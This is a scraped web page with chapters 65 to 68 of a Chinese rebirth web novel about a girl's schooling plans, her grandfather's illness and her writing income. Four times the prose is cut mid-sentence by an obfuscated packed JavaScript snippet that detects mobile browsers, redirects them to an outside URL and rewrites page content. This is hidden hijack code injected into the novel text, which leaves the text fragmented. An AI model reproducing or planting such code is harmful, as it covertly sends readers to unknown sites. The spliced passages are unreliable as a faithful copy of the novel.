;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么说你爸呢，他也是个孝子。”孙振华也不觉得当什么，人情嘛就是有来有往，不过年轻人脸皮薄是这样子的。其实就算两家没啥交往，电厂的人去粤市想找孙伟名帮忙，孙伟明也不会随便推脱，这年头大家都是这样，外出不容易，能帮就帮。 “我看你最近也是有点无聊，小学是太简单了点哈，怎么？以后准备考什么学校？”孙振华看着在他家写大字的马丽丽，觉得小家伙是有点闲的。 “当然要考县重点中学啊，去年我还想跳级来着，我妈不让，不过我想中考完就县里读，咱们镇连个书店都没有，好烦啊。”马丽丽理所当然的说。 孙振华也觉得不能在子弟学校耽误了，不过算一算，“那你不是还有三年半就中考了？”好快啊，“在县里是住你爷爷家？” “不知道，还没跟我爸妈说呢，不过我有点想住校，老dia家离学校有点远，我还‘不会’骑单车呢，到时候每天怎么回啊。” 那也是个问题，住校年纪也还是小了点，孙振华不知道在子弟学校别说初中，小学也有住校生呢，不过就算他知道了也依旧会这么想，谁叫马丽丽在他眼中还是个小不点呢。 孙振华心中还琢磨，如果马丽丽爸妈不让她一个人住校，那他到时候就干脆送一辆女士自行车给马丽丽好了，反正她那会儿也十二三岁了，应该会骑了。 65.第六十五章 被孙爷爷提醒了一回，马丽丽这才想起来，去县里读初中这件事，她还没跟她妈说呢。 事不宜迟，反正也不可能一次说成。 徐明惠第一反应就是不同意，“你个小屁孩，袜子都没洗过（马丽丽：我洗过！）……衣服裤子都没洗过，还一个人去住校？你搞得定吗？” 马丽丽：“我肯定搞得定啊，升初中的时候我都……”马丽丽扳着手指头数了一下，徐明惠发出一声嗤笑，“11岁了，肯定能行啊。就是洗衣服麻烦点，吃饭吃食堂就行了，要不你周末来看我把我衣服带回来洗？” “你想的美。”徐明惠说，“住校可没你想的这么简单，到时候麻烦着呢。” “能怎么麻烦？”马丽丽心想自己又不是没住过，虽说这次年纪小点，但子弟学校也有住校的初中生，住宿条件还没县中学好，不也能行？ 徐明惠就不明白了，马丽丽干嘛非要小学毕业就离家这么老远去县里头读初中？ 子弟学校的教学质量明明也不算差，虽然咸鱼学生很多，但是相对县中学来说人少，教学更精准，每年都有不少考上大学的，甚至也有不少人考上名牌大学。 就算文化死活考不上，也有走体育和艺术路线的特长生。这条路也走不通的，才会考虑上技校回来做普工。 不管是老师还是学生，目标非常明确，整体的学习氛围也很积极向上。更不用说厂办子弟学校，手里有钱，各种教学设备都很齐全。不说别的，整个县里有几个学校能有这么充足图书储备的图书馆？有几个学校为了上音乐课，还特地去买了一架钢琴的？ 这事真不怪徐明惠想不明白，主要是人生中意外太多。 谁能想到呢？在马丽丽初三的时候，林场濒临解散，电厂也面临机构改革，马丽丽的数学和英语老师都是林场的，在企图转入电厂无果后，两人抛弃即将中考的一帮学生辞职下海捞金了。 中考结束后，马丽丽这一届学习好的学生基本都考上中专走了，那会儿中专含金量还是挺高的，剩下的学生中，除了马丽丽还想考大学，其他人基本就是为了混个高中文凭，或是考个技校方便回厂。 之后几年，老师们有的专业硬的考编去了公办学校，有的走门路也去了别的学校，而那些教的不好的老师，或是不想脱离企业编制的老师，则继续留下来坚持到了最后。学校解散后这些还不到退休年龄的老师不是自谋出路，就是被重新分配回车间去当工人。 徐明惠因为在学校做了好几年党务工作，自己也一直坚持在考职称，回电厂后被分到了党办，还算不错。 至于马丽丽，虽然中考马丽丽的成绩超过了县重点高中的录取线，可是当时徐明惠正担任置子弟学校的党委书记，为了xx正确，硬是让她是跟着一群学渣，在子弟学校剩下为数不多的几个高中老师手中熬了三年，终于……啥大学也没考上。 好消息是，子弟学校最终解散了，马丽丽“被分配”到了县重点中学复读，还从理科转文后，最后考上了一个二本的万金油专业。 坏消息是，马丽丽在大二的时候，电厂因为机构改革，进厂的条件变化，以前是只要有中专以上文凭就能分回厂里，现在是要求必须有和水电相关的专业，马丽丽虽然考上了本科，但专业不符合要求，毕业后也没办法回电厂了。 每当回想起这几年来，马丽丽总觉得心有不甘，明明小升初和中考的时候，她都达到了县重点中学的录取线，可是最后却只能靠子弟学校因为解散而被“分配”到县重点中学去复读。甚至还因为无法适应教学方式，只能理转文，最后在大学读了一个万金油专业，毕业后找工作也非常艰难。 当年她的起点明明这么好呀，条件好成绩也好，可是最后的结果却如此不尽如人意，以至于后来无论什么时候回想起这件事来，马丽丽都觉得意难平。 马丽丽不怕辛苦，怕的是浑浑噩噩随波逐流，吃尽了苦头却得不到一个好的结果，所以这次她宁愿从最初的时候就纠正这个错误。 可是如今她没有办法将未来会发生的事情告诉妈妈，所以只能赌气对徐明惠说：“如果初中不能去县重点中学读书，那我就不想努力了。反正以我现在的成绩考上初中，再考个中专回电厂是绝对没问题的，何必把自己搞得这么累呢？我从小每天学外语，从来不间断，小学就自学初中的数学物理化学，就是希望将来能读更好的中学，能有机会考更好的大学，以后能有机会去大城市过更好的生活。如果我用功学习最后的结果和别人吃喝玩乐几年就努力一把的结果是一样的，那我还何必这么辛苦？我可以保证我吃喝玩乐几年努力一把的成绩，比别人还能更好一些。” 想到自己成年后，要比别人付出更多，努力更多，走更多的弯路，才能得到一样的结果，马丽丽不禁眼睛里流出泪来，难道她天生就爱吃苦吗？难道她不喜欢轻轻松松的度过一生吗？ 明明知道未来，明明知道如何改变未来，如果就因为老妈的固执再次失去机会，马丽丽可以想象自己到时候会有多绝望，还不如一开始就以回电厂为目标，说不定还有其他可以改变命运的机会。 可是真的很意难平啊！马丽丽越想越委屈，最后忍不住放声大哭起来。 徐明惠：…… 徐明惠可真是服了，你小升初都还有几年呢，就因为没影的事还委屈上了？我也没说不让你去读县重点中学呀，这不是在考虑嘛。 马丽丽这一哭可真是惊天动地，主要也是因为楼小隔音不好。 第二天马丽丽就收到了来自姥姥姥爷孙爷爷田姥姥的亲切问候，她立马把状告了个遍，这下两家老人都知道了徐明惠不让马丽丽去读县重点中学的事。 “你说你，人家要是能考上县重点，那还不得上杠子去读，我就没见过像你这样当妈的，就不见得自己女儿好。”姥姥对着自己女儿也是气不打一处来，“你说你们几个当年考上了县重点的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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你可真是亲姥爷呀，想的这办法跟马丽丽一样，徐明惠很无语，又说：“这都没什么，但是住校，你看咱们学校就知道了，几个人一个宿舍，厕所洗澡间都是公用的，还要轮班打扫，马丽丽能受得了这个？她念书早比别人小，万一到时候有人欺负她怎么办，这可不是没发生过的事，就咱们学校这么几个住校生，还时常有纠纷，县中学住校的人更多，到时候事也会更多。” 徐正义很不以为然，“读书这么紧张谁搞这些，再说咱们这些老家伙难道是白干的？谁要是敢欺负马丽丽，我亲自去县中学找老师。诶，对了。”他又想起一件事来，“那中学附近不是有很多老表的房子吗？实在不行，我们就租一个房子给马丽丽，最好有认识的人一起合租，这样生活上也方便一点，又不会跟别人发生矛盾。”他越想越觉得是个好主意，“要是没有人合租，她姥姥不行也跟着一起去，在生活上照顾照顾。” 徐正义这么一说，孙梅也觉得这主意不错，徐明惠更加无语了：“我妈去照顾马丽丽那你平时吃饭怎么办？靠高远还是小红？他俩会做饭吗？” 徐正义瞪了她一眼，“你妈不在家，我一个人也能行，不行就去吃食堂，再说小红回来差不多也要上班了，也该学着自己煮饭做菜了，过两年都该说对象了，这么大年纪不会做饭像什么样。” 行行行，反正最后都是我的事呗。徐明惠在肚子里翻了个白眼，居然没有发现她已经接受了“马丽丽初中去县重点中学读”这件事。 66.第六十六章 晚上散步的时候，徐明惠“偶遇”了隔壁孙振华老两口，老两口一脸不知情的样子，亲切的询问马丽丽嚎啕大哭震楼的事。 徐明惠心想，好么，几百年散步都没遇到过，偏偏今天碰上了，你俩不知道谁信啊？ 想归想，徐明惠还是把事情（删减版）跟老两口说了一遍。听罢，老两口直接跳过“考不上”和“不能去县重点读书”两个选项，认真的考虑起马丽丽将来的住宿问题。 “最好当然是住校，安全，氛围也好，上学休息都方便。但要是学校住宿条件不好，那就不如在外面租房子住了。不过得租一个齐全的，我听说那边老房子很多连个亮点的灯都没有，那不把眼睛都给看坏了？不过还是以住校为先，到时候先看看条件再说。” 徐明惠连连点头，一点嘴都插不上，心道，孙工就是孙工，这租房子还得用发展变化的眼光来看呢? 大人们已经决定带着马丽丽弯道超车，这件事马丽丽本人却还不知道，她还在想着要不要在考试的时候给老妈一点小小的震撼，以便让老妈知道她可是认真的。 没等马丽丽想好，爸爸马天华回来了。 马天华一过完年就请了长假，带着老dia和妹妹马小燕去了粤市。 马天华这一趟其实还算顺利，走的路子跟几年前老丈人那次差不多，孙伟名帮忙找的住房，拜托同学找关系，在同一家医院检查（那家肿瘤科比较强）。 检查的结果跟在县里差不多，医生给出的三种治疗方案跟当年老丈人一样，所以马天华也有过预想，早就跟兄弟姐妹们商量过了，选择的方案也是切除病灶。 现在唯一的问题是老爷子有胃溃疡，得先治疗才能开刀，开刀也得先排队，可能二十来天，可能要一个多月。回家再来不现实，只能住在粤市一边治胃病一边等待。 马天华的假期没有这么长，他先安排好一切，等章市的大哥马天利过来接手后才回去。 一到家马天华就睡了大半天，路上辛苦是一方面，在粤市跑关系，跑医院，之后又想法请人吃饭也是累。 “还好孙伟名先帮忙租了房子，是他们电厂职工的老房子，附近都是老邻居，靠得住。哎，现在粤市真的太乱了，外来人太多，到处都是人。”马天华一边泡脚一边跟徐明惠聊着在粤市的事。 “那你给他打电话了没有？”徐明惠坐在床上，手里还打着毛衣。 “那肯定打了，本来想请他吃饭的，他也没时间，说不是大事也就帮忙找了个房子，我看哪。”马天华提起脚来滴了滴水，又拿起擦脚布，“也甭专门谢他了，明天我去孙工家说也一样。” “也是。”徐明惠拉了拉线，又问，“那你爸那就你哥在？” “大哥大姐都在，应该没问题，就是每星期去检查身体，事项我都写下来了。” “你们还告诉大姐二姐了？” “那肯定得说啊。” 马天华的大姐马小娟和马小芳都在八一市上班、安家，平时跟老家定期有书信往来，不过像这样的大事，肯定是电话通知的，不然也说不明白。 马天华倒了水，坐在床上盖好被子，又搓了搓手。他没说的是，万一检查和治疗结果不尽如人意，总得让大姐二姐见爸最后一面……当然这是最坏的情况，呸呸呸。 马天华拿起一本书，貌似无意的说，“上次我和天楚天林包括三妹他们等于每家出了三百块钱，大哥也出了三百，大姐二姐都出了五百，大概也就三千一的样子，肯定不够。下次我再去就要做手术了，估计每家还得再出点。” 徐明惠头也不抬，哼了一声，“你请假扣的钱就不算了吗？又出钱又出力，你六个兄弟，就你和大伯去了，然后两个姐妹去了，其他人呢？” “其他人这不是没必要吗？四个人相互接手就够了，要你这么说，大姐二姐还都出五百呢，大姐不也去了？二姐没去，那这怎么算？” “这是你们兄弟姐妹要算的事，跟我有什么关系？” 两人无语了一会儿，徐明惠开口道：“先看其他人出多少，反正你先最多带三百去。以前我爸那会儿差不多花了四千，照这个数你们兄弟几个再出一百五就差不多了，多的你得带回来。” 马天华松了口气，“哪就能一样？你爸那也是几年前的事了，情况不一样。” “都是一样借的钱。”徐明惠强调，“我们借的钱刚还完你以为我哪变的这六百块钱？不是又去借的吗？我都不好意思开口。” 马天华忍不住说：“你爸那时候我爸妈不也出钱了吗？” 徐明惠提高声音，“那是借的，我们不是还了钱吗！” 不想吵架，徐明惠深呼吸平息气息，用力的打着毛衣，假装无所谓的说：“你自己看着办吧，反正现在家里也没有存款了，倒是有五百块钱负债，就算想做点啥也有心无力。” 马天华默了半晌，说：“也就在粤市多出点，等回了游江，后面休养什么的，我也够不着，谁让我是个学医的呢，不管怎么说尽力了就行，我还有兄弟呢。” 马丽丽不知道自家的小纠纷，她只知道老爸回来没多久又去了粤市，在那里，老dia将要进行手术，简单的说来，就是要钱！ 马丽丽还没自大到认为靠自己码字那几个钱就能包揽一切，不过暗中补贴一二而已，比如说姥姥家的欠债。 马天华又去了粤市，在送老爸马天华走的那天，马丽丽又习惯性的去办公楼传达室。 今天是大周末，传达室没上班，但所有信都堆在窗口外面。 马丽丽快速翻着信件，她时常放学后来这里拦截名为寄给“孙梅”其实是寄给她的信件，对找这个非常熟练。 今天也有几封，大概是昨天下午补送的，有厚有薄，可能还有退稿。马丽丽现在已经有几个经常投稿的报纸杂志了，但她有空还是喜欢找一些新的来尝试。 翻到最下面，有一些大信封，装的多是公办文件，但也有例外。马丽丽欣喜的拿出一个装得鼓鼓的信封，从地址上看，正是省会编辑部寄来的，想来是拜托小姨的事谈成了，人家动作也快，说刊登就刊登， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263650|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这想必就是样刊了。 马丽丽拿着信迅速回家，躲进房间，打开一看，果然里面是一本杂志，封面上画着一座水彩大桥，上书《南城通俗小说》几个毛笔大字。马丽丽心急的翻到目录细细找来，一会儿就瞧见了最终被她取名为《道士宋飞》的小说，还是排在第四个呢。她松了口气，不由的露出微笑来，又慢慢向下看，在倒数第二的位置看见了另一篇《穿越中世纪》。 一本杂志取了两篇文，大喜事，马丽丽忍不住握拳低喊一声：“yes！” 吕编辑在杂志中夹了另一个信封，马丽丽轻声哼着“我赚钱了赚钱了不知道怎么去花……”打开信封，吕编辑先是非常专业的简单说了一下他与徐明红谈好的结果，顺便督促马丽丽抓紧码字，不能出空档，等到信在后半截，话风又突然一转，期期艾艾的说学生还是要以学习为主，平时还是要认真学习，空闲时间把小说写了就行，但还是要保持质量云云，信中还附了这次的稿费，马丽丽放进抽屉铁盒子收好，到时候叫上姥姥一起去取钱。 马丽丽：“……”好纠结的一封信，不过看得出对方大概依旧以为她是个中学生。 小姨这次将事情办的非常漂亮，马丽丽心情大好，她又把其他的信看完，有退稿也有改稿也有寄稿费来的，马丽丽一一分好类收好，最后一封是小姨徐明红寄来的，没想到竟然和吕编辑的信同一天到。 徐明红更加详细的说了她与吕编辑会谈的事，虽然极尽夸张之言，但马丽丽想到最后的结果，又觉得大概也没有太多偏颇，嘻嘻，反正我小姨就是最棒的！ 徐明红的信里附了合同，因为马丽丽未成年，上面签的是徐明红的名字，这是之前她俩就说好的，马丽丽还给小姨写了一张授权书呢。 马丽丽仔细看了合同，上面定的要求十分宽松，只有一点，要求保证质量。 合同并不算严谨，但马丽丽很满意。 马丽丽把东西都收拾好，该放褥子地下的放褥子底下，该放铁盒子里的放铁盒子里，该放小箱子里的放小箱子里，主打就是狡兔三窟。 拿出信纸，马丽丽先是写了一封热情洋溢的彩虹屁给徐明红，用信封封好，贴上邮票，之后又给吕编辑回了一封信，跟之前写好的稿子一起塞进一个大信封，这种信不需要邮票，只要左上角写上“稿件”或是剪掉信封一个小角就行，大信封就需要自己买了，马丽丽一次性买了一百个，这还没用完呢。 趁着这股子劲，马丽丽又疯狂码字十几天，接连写了小两万，又修改了一遍，这才放缓速度。 自从接了这个活之后，除了两个稿费高的八卦小杂志，其他的马丽丽都停了，专心写《道士宋飞》，但是这小两万结束之后，马丽丽突然又想开个新文。 这是一个很“危险”的想法，手写可不像打字时代，即使是专业作家也不敢轻易双开，除非有专门抄稿的人。 但这念头起来了就下不去，马丽丽在脑子里反复念叨，把前三章都念叨出来了，最后还是找了张白纸，涂涂画画的把前三章都写了下来。 67.第 67 章 新故事主角是小镇上一个工人家庭里的小女孩，明珠。 原本是独生女的她生活幸福，父母一个是技术骨干一个是老师，虽然奶奶因为她是女孩总是对她不咸不淡的，但比起大院其他“招娣”“亚男”来说，“明珠”显然要更受爸爸妈妈喜爱，明珠性格十分活泼，而且像个男孩子一样调皮捣蛋。 直到明珠六岁那年，她的弟弟出生了，全家的爱热烈而又浓厚的转向了弟弟青云的身上。 刚刚上学的明珠在还不知道怎么写“重男轻女”的年纪，感受到了什么叫“重男轻女”。 曾经一下班就大喊“我的明珠在哪”的爸爸，现在下班只会一脸笑的说“我的宝贝儿子今天乖不乖？” 曾经只要明珠一摔跤就赶紧抱她起来亲亲抱抱顺便检查的妈妈，现在只会一边小心的冲奶粉一边头也不抬的叫她自己赶紧爬起来。 奶奶对明珠的态度倒是一如既往，但明珠从没想过原来奶奶也会对别人笑成一朵花，只是对象不是她而是弟弟。 待到更大些，明珠的感觉也更加明显了。 小时候明珠在外头闯祸，奶奶总是提着她去跟人家道歉，现在弟弟闯祸，奶奶却总是带着弟弟去找回场子。跟弟弟发生矛盾，不管是奶奶的呵斥、妈妈的指责还是爸爸的劝导，话里话外都是一个意思，“弟弟还小，你是姐姐，要让着他。” 只有在生日才能得到的新玩具，弟弟每次上街都能拿回一个，只有过年的时候才能得到的新棉袄，才刚刚入冬弟弟就已经穿上了，家里还订了一瓶牛奶，当然也是弟弟才能喝的。 明珠觉得不服，她抗议过，可是周围的人都觉得她太矫情，女孩让着男孩，姐姐让着弟弟，这不是天经地义的事吗？甚至比起其他一些同学来，她家有电视有洗衣机，她的衣服也不是捡哥哥姐姐亲戚家的旧衣服，补丁都没有一个，而且她每天早上有一个鸡蛋吃，家里每天都能见着荤腥……还有什么不满足的？ 明珠觉得很迷茫，为什么同是爸妈的孩子，她就得天生低弟弟一等，因为她是女孩？不是说妇女能顶半边天吗？为什么顶了半边天，得到的却没有半边天呢？ 明珠的初中班主任是一个严肃又严厉的小老太太，平时对学生们的学习抓得很紧，对于明珠情绪的波动，她也很快就发现了，便找了个时间约谈了明珠。 在得知明珠的困扰后，小老太太没有告诉她要去争取自己的正当权利，也没有对她说习惯了就好，而是对明珠开始讲起旧社会时的女人，那时候的女人是工具，是牲口，直到新社会，女性可以学习，可以工作，通过自己的努力，在自己的工作岗位上体现了社会价值，所以才有了那句“妇女能顶半边天”。 “女的真的不如男的吗？不是，男人能做的女人一样可以，但你怎么证明？就只能靠学习、工作，用最好的成绩证明自己，用最高的价值证明自己。”小老太太讲起了裹着小脚扛着枪长征的女战士，讲起了?孟良崮战役时?在冰冷的河水中用身体搭浮桥的32名沂蒙妇女，讲起了中国现代妇产科学的奠基人之一林巧稚、被毛主席称为“女中豪杰”的新中国司法部首任部长史良…… 小老太太跟明珠聊了两个多小时，明珠两眼放光，犹如醍醐灌顶。老师说的对，她要考第一，她要上最好的大学，谁要说她不如男孩那就比比，国家认证。 不过考大学还远，先订个小目标，考上市重点。 写完最后一个字，马丽丽麻溜的把笔一扔，把稿纸塞到桌子旁的纸堆下，打算未来几，三，二……好吧，明天一天都不打算再写一个字，好好休息一下，等到后天再继续码字。 那按计划赶不上变化，晚餐的时候，徐明惠在餐桌上通知了一件事。 “明天早上咱们回游江一趟，丽丽明天早上早起就别听广播了。” “哈？”马丽丽惊讶的饭都从嘴里掉回碗里，“怎么突然要去奶奶家？我还什么都没有准备呢。” “你还需要准备什么？”徐明惠觉得女儿的问题十分可爱，“就住一晚上，也不用换衣服，你什么都不用拿，还要准备什么？” 马丽丽：“……”话是这样说没错啦，可是她还有两张汇票没有兑成钱呢，这个点也赶不上了，毛线帽虽然勾好了，可是这天愈发暖和，还要带上吗……算了，带上吧，应该还会冷，不是说二八三九乱穿衣嘛。 马丽丽没啥准备，徐明惠可是准备了，昨天逢墟的时候有卖桂鱼的，还活着的，她买了两条。这可是好东西，对大病愈合补身体非常好，正好老父一条，公公一条，上星期姥姥孙梅在钓鱼佬那买到一只甲鱼，这也是好东西，孙梅让她带去游江给马乔生，徐明惠推辞不过，这不，养了几天，也正好带上。除了这俩，徐明惠还早早就托去省厅出差的同事帮她带了点营养品，两个老爹，一人一份。 虽然之前徐明惠表现的很是斤斤计较，但那是亲兄弟明算账，该办事的时候，她也是不含糊。 提着大包小包，拖着马丽丽，挤上了车，又挤下车，这几天热的不像初春，穿着毛衣外套，两人都热的一头大汗。 一进门还来不及打招呼，徐明惠就赶着说，“快看看这鱼，还活着没？不行呆会就得做了。” “哎呦，哎呦哎呦，这，这怎么还有一只老鳖，吓我一跳。”何夏上前接过，差点没摔了。 “哎，这也是运气好，要是冷的时候，这还钓不着。”徐明惠一一打过招呼，把带来的东西在堂屋拿出来，顺便给大家展示一下。 在家的都围了过来，嘴上啧啧的，“这麦乳精可贵啊。哎，这是什么？” “这是奶粉，我托人在省城买的，他们那有奶粉厂，给本地卖的都是这种，没罐的，就是袋装，一包就是两斤。” “这个好这个好，明惠，这个难买吧？贵不贵？” “是有点，不过这不是家里有需要嘛，而且又不经常买。” “哎呦，这是上海的奶糖吧？过年那会百货公司也进了一点，买都买不到，一会会就卖没了。” “明惠，你这可破费了。” 这时候奶奶沈月慢慢的从屋里出来，整个人都一副疲惫的样子，她对徐明惠说：“带这么多东西干嘛，亲家公身体也不好，他不也得多养养嘛。” 徐明惠收了收东西说：“我爸那也有，这些都是给爸的，那甲鱼还是我妈给我让带来的，说现在我爸身体还行，不吃也行，爸刚做完手术更需要，我还带了条桂鱼，要是爸可以吃，那今天就做了吧，昨天买的又坐了一路车，怕不好了。对了，爸现在身体怎么样？我去看看他，这东西我拿进去吧？” 沈月点点头，徐明惠提着袋子进了房间。 马天华正在房间里给马乔生量血压，徐明惠轻手轻脚把东西放在桌上，问候道：“爸，你感觉怎么样？还好吗？” 马乔生消瘦了许多，人都脱相了，他的状态比之前徐正义那会儿可差多了。 这几天热，毛衣都穿不住，徐明惠刚下车也是一头汗，可是马乔生这会儿还盖着厚被子，躺在床上头上也戴着帽子。床上一年四季都挂着的蚊帐挡住了部分采光，昏暗的架子床上仿佛还在冬天。 马乔生躺在床的外侧，眼睛半睁，微微点头，声音嘶哑又有气无力，“好。” 马天华在旁边解释：“之前在粤市手术就住了十天的院，又在租的房子那休养了差不多一个月，来回检查了两次说能坐火车才回来，回来又累的不行，马上安排在人民医院又住了差不多十天，打了几天营养针，检查说情况还可以才回来养，回来也还没几天。之前在粤市一直都是吃不了东西在打针，回来还好了一点，现在可以吃一点流食了。” 原来如此，吃不了东西，难怪这么瘦。 “那鱼汤能吃吧？我带了条桂鱼来，咱煮稠一点。” 马天华点点头，“应该可以，先吃一点看看，每次少吃点，多喂几次，不要放盐。” “那我等下跟何夏说一声。” 在外头跟奶奶说话的马丽丽这会儿跳进来，小孩子欢快的声音把房间里的沉闷都赶跑了。 “老dia老dia，你现在好了呗？我妈买了奶糖，你含一颗到嘴里吧？好吃的很。我还自己做了个帽子，本来还说天都热了你明年才戴，你要是现在怕冷就能戴，是新毛线，洗过哒。” 马丽丽把帽子放在老dia手里让他摸，毛线还是今年过年时买的羊毛线，轻柔又软和，一点不扎人，也不是老年人常用的黑色藏青什么的，而是粉嫩的红黄蓝。 马乔生眼睛和嘴角微微弯起，他轻轻点头，“好。” “尽瞎闹，给老dia怎么用这个颜色，好了，别吵老dia了，外面玩去。” “哦。” 马丽丽趴到老dia的床上，想给老dia把他头上的帽子换下，老dia身上和被子上都散发出一股不好闻的味道，马丽丽仿佛没有闻到一样。 “胡闹，行行，我来我来。”马天华没法，他扒拉下女儿，小心的抬起老父亲的头，给他换上新帽子，又扶着放下，“好了吧？” “还有，等等。”马丽丽从书包里拿出一堆五颜六色的玩意，“爸，帮我挂一下，这个挂蚊帐这头。” “你又搞什么？”马天华拿起一看，是一串不知道什么东西， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269560|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面有红的黄的布做的花，绿纸和锡纸做的藤蔓、叶子和小芽，还栓着几颗红色黑紫色的干果。 “哎呦爸，这房间颜色都暗暗的，挂上这个好看嘛，还有这个和这个，帮我挂老dia床头这边。” “这又是什么？” “这是我做的香囊，老dia闻闻花香，心情会好点哦。” “搞这么多没用的东西，你也不说说。” 徐明惠：“我怎么知道，都是马丽丽自己搞的，她都没告诉我。” 马天华一边嫌弃一边把东西挂好，两个香囊是马丽丽之前绣的，一个里面塞满了干花，有秋天时摘的少许干桂花和前几天才晒的大把桃花，外面还坠了两朵半开的淡紫色大玉兰，另一个里面塞的则是去年晒的桔子皮和柚子皮。 淡淡的花香和清新的柑橘味果然让人精神好很多。 马丽丽邀功：“老dia，你喜欢不啰？” 老dia微微点头，开口：“好。” 马丽丽嘿嘿乐了，曾经的她不懂，如今以成人的眼光来看老dia和奶奶，才会发现他们其实都是热爱生活的人。 老dia年轻时也曾是精致的沪爷，因为战争和奶奶来到当年算是穷坷垃的地方安身，后来又成了县城有名的卖布郎，熬过艰难的十年，和奶奶养大九个孩子，还在院子里种了别人都觉得无用的芭蕉和桔子柚子树，教儿子们拉二胡吹笛子，和奶奶一起看武侠小说。所以马丽丽觉得老dia肯定会喜欢她送的三粉帽子、彩色挂件和香囊的。 “好了好了，出去吧，别影响老dia休息。”马天华再次赶人。 “就走了就走了。”马丽丽捞了两本桌上的小人书，这回是真走了。 中午的时候果然煮了稠稠的鱼汤来，一斤多的鱼还分成两份来煮，鱼肉剁成细细的鱼糜，掐头去尾去鱼鳍，苦胆不要，内脏鱼皮全放下去煮，务必保证所有的鱼油脂肪都能融进汤里。 鱼嘴鱼尾和两片鱼鳍分给四个小孩，鱼内脏给了大黄，四孩一狗吃得津津有味。 一小碗浓白的鱼汤里飘散着细细的鱼糜，除了盐，不用任何调料，光闻着就让人垂涎欲滴。老dia也有了胃口，平时不管是肉汤还是浓米汤，都只能喝两口，今天竟然喝了小半碗鱼汤。 这可把家里人都高兴坏了，只要能吃下东西，身体就能慢慢好起来，个个人都连声称赞小徐这鱼买的好，小夏也做的好吃，剩下的鱼汤都在余火中炖着，另一份留着明天继续做。 吃过午饭，老dia精神好了很多。抬了张老爷椅在屋檐下，铺上毯子，几个儿子合力把老爷子抬出来，洗脸洗手擦头发，然后晒晒太阳，儿媳妇们顺便把床上的被子、褥子、枕头都拿出来晒晒。 小孩怎么还不懂大人的忧愁与烦恼，只知道老dia生病了，家里买了六只小母鸡，它们每天会生几个小小可爱的云英鸡蛋。 这些鸡蛋都是老dia专享，用开水一冲，搅进些许红糖，就是最有营养的鸡蛋茶。一个云英鸡蛋只能冲小半碗鸡蛋茶，可是即使这一些，老dia也只能喝下两口，剩下的端出来都是孩子们分享了。 小孩们跟老dia招呼完，继续围观小母鸡们。 六只小母鸡被新竹做的栅栏围在院子里，它们十分难得的竟然可以用米粒做饲料，四个孩子每人抓了一小把米，围在栅栏边，时不时扔两颗碎米下去，看着小母鸡们为了米粒你争我抢东奔西走，这种游戏简单又无聊，但是小孩子们却可以玩几个小时，直到大人们出来阻止。 “这几只鸡迟早被你们撑死，到时候每人都想好自己要挨几个巴掌，哎。” 小孩子们嘻嘻哈哈的跑开。 女人们把大木盆拿出来，开始洗衣服，顺便聊八卦。 马洁十分无聊的蹲在远处看自家老妈洗衣服，有一就有二，几个小崽子仿佛雨后春笋似的一个一个冒出来，四人排排蹲，蹲成一排，看着妈妈/婶婶们洗衣服。 坐在屋檐下看小说的奶奶：…… 这下一代都咋回事？堪忧，堪忧啊！ 发呆可真舒服呀，就是蹲久了脚麻，马丽丽正准备站起来活动活动呢，突然脑袋瓜子里头灵光一闪，好像想起了什么。 是什么呢？她如同一休附体，两根手指抵住脑袋瓜子想了好一会。 嘿嘿，想起来了，刷短视频的时候刷过一种用旋转拖把桶洗袜子的视频，有点意思，人家那是玩梗，但是放在当下没有洗衣机的时候，弄出一个来是真省事的啊，话说原本在电力出现之前就有洗衣机的存在，要是真能做出一个来，那一定很有意思。 试试就试试。 68.第六十八章 回到家后，马丽丽立刻开始了画图纸，根据施力方向不同，她画了好几种。 第一种手摇式，跟以前画本上画的差不多，一个桶打横，旁边加个方向盘式摇柄，用起来其实就是个手摇式的滚筒洗衣机，原理差不多。 第二种脚踩式，桶下加个旋转底座和踏脚，脚踩让木桶旋转，无电版波轮洗衣机，没毛病。 第三种就是旋转拖把式，桶里头加个旋转的底座，内有螺旋钢丝的双节杆上下按压让底座旋转，如果怕洗不干净，就在杆子上也装上叶片，嗯，硬核拖把。 看到成品图，马丽丽成就感满满，这可是上辈子做梦都想不到，她还能画这个，可把她给牛逼坏了，叉会儿腰。 不过为了以防万一，马丽丽还是把图给孙爷爷指点一下。 